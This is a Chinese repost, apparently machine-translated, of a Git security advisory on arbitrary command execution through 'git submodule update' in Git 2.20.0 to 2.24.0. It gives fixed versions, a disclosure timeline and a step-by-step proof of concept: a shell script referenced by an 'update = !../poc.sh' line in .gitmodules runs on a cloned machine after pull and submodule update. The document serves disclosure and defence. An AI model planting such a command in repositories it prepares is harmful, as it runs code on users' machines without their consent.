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  • Git submodule update 命令执行

    git submodule update操作可能导致执行.gitmodules文件中定义的任意shell命令

    受影响的产品

    • Git版本2.20.0至2.24.0

    修复版本

    • Git v2.24.1,v2.23.1,v2.22.2,v2.21.1,v2.20.2

    披露时间表

    • 2019-11-11 git-security邮件列表的初步报告
    • 2019-12-10 Git v2.24.1,v2.23.1,v2.22.2,v2.21.1,v2.20.2发布

    CVE编号

    细节

    git-submodule 的手册页指出了子模块的以下配置选项:

    以下更新过程仅通过submodule..update配置变量可用:

    自定义命令使用单个参数(超级项目中记录的提交的sha1)的任意shell命令将被执行。当submodule..update设置为!command时,感叹号后的其余部分为自定义命令。

    可以.gitmodules在Git存储库中的文件中定义此配置值但是,--init使用该标志时,该设置将被覆盖

    该方法init_submodulebuiltin/submodule--helper.c注意到了这一问题:

    if (git_config_get_string(sb.buf, &upd) &&
    	    sub->update_strategy.type != SM_UPDATE_UNSPECIFIED) {
    		if (sub->update_strategy.type == SM_UPDATE_COMMAND) {
    			fprintf(stderr, _("warning: command update mode suggested for submodule '%s'
    "),
    				sub->name);
    			upd = xstrdup("none");
    		} else

    上面的代码将更新策略设置为none.git/config包含子模块的存储库。

    仅当在--init没有submodule.<name>.update策略的情况下调用,git submodule update随后update在内调用将策略设置为外部命令的后续调用时,该命令才会在特殊情况下执行.gitmodules

    开发实例

    首先,我们准备一个存储库:

    joern@hostname ~/tmp $ mkdir example
    joern@hostname ~/tmp $ cd example 
    joern@hostname ~/tmp/example $ git init .
    Initialized empty Git repository in /home/joern/tmp/example/.git/
    joern@hostname ~/tmp/example $ git submodule add https://gitlab.com/joernchen/xxeserve.git
    Cloning into '/home/joern/tmp/example/xxeserve'...
    remote: Enumerating objects: 34, done.
    remote: Counting objects: 100% (34/34), done.
    remote: Compressing objects: 100% (29/29), done.
    remote: Total 34 (delta 14), reused 0 (delta 0)
    Unpacking objects: 100% (34/34), done.
    joern@hostname ~/tmp/example $ git commit -m "first commit"
    [master (root-commit) 9ed9add] first commit
     2 files changed, 4 insertions(+)
     create mode 100644 .gitmodules
     create mode 160000 xxeserve

    到目前为止,关于存储库没有什么特别的:

    joern@hostname ~/tmp/example $ cat .gitmodules 
    [submodule "xxeserve"]
            path = xxeserve
            url = https://gitlab.com/joernchen/xxeserve.git

    接下来,克隆存储库:

    joern@hostname ~/tmp $ git clone --recurse-submodules example test  
    Cloning into 'test'...
    done.
    Submodule 'xxeserve' (https://gitlab.com/joernchen/xxeserve.git) registered for path 'xxeserve'
    Cloning into '/home/joern/tmp/test/xxeserve'...
    remote: Enumerating objects: 34, done.        
    remote: Counting objects: 100% (34/34), done.        
    remote: Compressing objects: 100% (29/29), done.        
    remote: Total 34 (delta 14), reused 0 (delta 0)        
    Submodule path 'xxeserve': checked out 'c4a859fb16e2c65a1708d1c0a404f339191fd8e9'

    回到原始存储库,我们更改子模块并在中引入命令.gitmodules

    joern@hostname ~/tmp/example $ echo -e '#!/bin/bashx0aid>/tmp/poc.txt' > poc.sh
    joern@hostname ~/tmp/example $ echo '        update = !../poc.sh' >> .gitmodules
    joern@hostname ~/tmp/example $ chmod +x poc.sh 
    joern@hostname ~/tmp/example $ cd xxeserve 
    joern@hostname ~/tmp/example/xxeserve $ git checkout 0f5c204 
    Previous HEAD position was c4a859f Merge pull request #4 from mccabe615/master
    HEAD is now at 0f5c204 Update README.md
    joern@hostname ~/tmp/example/xxeserve $ cd ..
    joern@hostname ~/tmp/example $ git add .
    joern@hostname ~/tmp/example $ git commit -m 'second commit'
    [master ec3abce] second commit
     3 files changed, 4 insertions(+), 1 deletion(-)
     create mode 100755 poc.sh

    在克隆的存储库中,命令将在git pull之后运行git submodule update

     joern@hostname ~/tmp/test $ git pull
    remote: Enumerating objects: 6, done.
    remote: Counting objects: 100% (6/6), done.
    remote: Compressing objects: 100% (3/3), done.
    remote: Total 4 (delta 1), reused 0 (delta 0)
    Unpacking objects: 100% (4/4), done.
    From /home/joern/tmp/example
     + 113237f...ec3abce master     -> origin/master  (forced update)
    Updating 9ed9add..ec3abce
    Fast-forward
     .gitmodules | 1 +
     poc.sh      | 2 ++
     xxeserve    | 2 +-
     3 files changed, 4 insertions(+), 1 deletion(-)
     create mode 100755 poc.sh
     joern@hostname ~/tmp/test $ git submodule update
    Submodule path 'xxeserve': '../poc.sh 0f5c2043db22ff091b800cb6c61e015492ad0885'
     joern@hostname ~/tmp/test $ cat /tmp/poc.txt 
    uid=1000(joern) gid=1000(joern) groups=1000(joern),3(sys),90(network),98(power),991(lp),998(wheel) 

    外部参考

    • Git发布公告
    • https://about.gitlab.com/blog/2019/12/10/critical-security-release-gitlab-12-5-4-released/
    • https://gitlab.com/gitlab-com/gl-security/disclosures/blob/master/003_git_submodule/advisory.md
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  • 原文地址:https://www.cnblogs.com/icez/p/Git_submodule_update_rce.html
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